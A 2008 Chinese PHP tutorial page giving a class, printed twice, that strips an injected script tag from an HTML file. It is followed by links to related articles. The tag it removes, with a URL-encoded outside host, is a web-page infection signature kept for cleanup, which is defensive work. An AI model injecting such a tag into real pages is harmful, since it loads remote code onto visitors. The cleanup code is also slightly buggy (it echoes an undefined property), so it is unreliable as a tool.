php 清除網(wǎng)頁(yè)病毒的方法
更新時(shí)間:2008年12月05日 00:02:23 作者:
好像是進(jìn)行一些替換操作,大家可以測(cè)試
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒
您可能感興趣的文章:
- PHP清除字符串中所有無(wú)用標(biāo)簽的方法
- ThinkPHP實(shí)現(xiàn)一鍵清除緩存方法
- 使用php清除bom示例
- PHP中用正則表達(dá)式清除字符串的空白
- PHP 清除HTML代碼、空格、回車換行符的函數(shù)
- 用php實(shí)現(xiàn)批量查詢清除一句話后門的代碼
- php網(wǎng)站被掛木馬后的修復(fù)方法總結(jié)
- php檢測(cè)圖片木馬多進(jìn)制編程實(shí)踐
- php木馬webshell掃描器代碼
- 精確查找PHP WEBSHELL木馬 修正版
- PHP 木馬攻擊的防御設(shè)置方法
- php木馬攻擊防御之道
- php網(wǎng)頁(yè)病毒清除類
相關(guān)文章
PHP實(shí)現(xiàn)的微信公眾號(hào)掃碼模擬登錄功能示例
這篇文章主要介紹了PHP實(shí)現(xiàn)的微信公眾號(hào)掃碼模擬登錄功能,涉及php針對(duì)微信公眾平臺(tái)接口的調(diào)用與交互相關(guān)操作技巧,需要的朋友可以參考下2019-05-05
php實(shí)現(xiàn)統(tǒng)計(jì)目錄文件大小的函數(shù)
本文給大家介紹了使用php實(shí)現(xiàn)統(tǒng)計(jì)目錄文件大小的函數(shù),其主要的思路是通過(guò)遞歸遍歷目錄中的所有文件從而計(jì)算出文件總大小的,有需要的小伙伴可以參考下2015-12-12
php源代碼安裝常見(jiàn)錯(cuò)誤與解決辦法分享
這篇文章主要介紹了在linux服務(wù)器中通過(guò)源代碼安裝php過(guò)程中,經(jīng)常會(huì)遇到的一些問(wèn)題做個(gè)小結(jié),特分享給需要的朋友2013-05-05

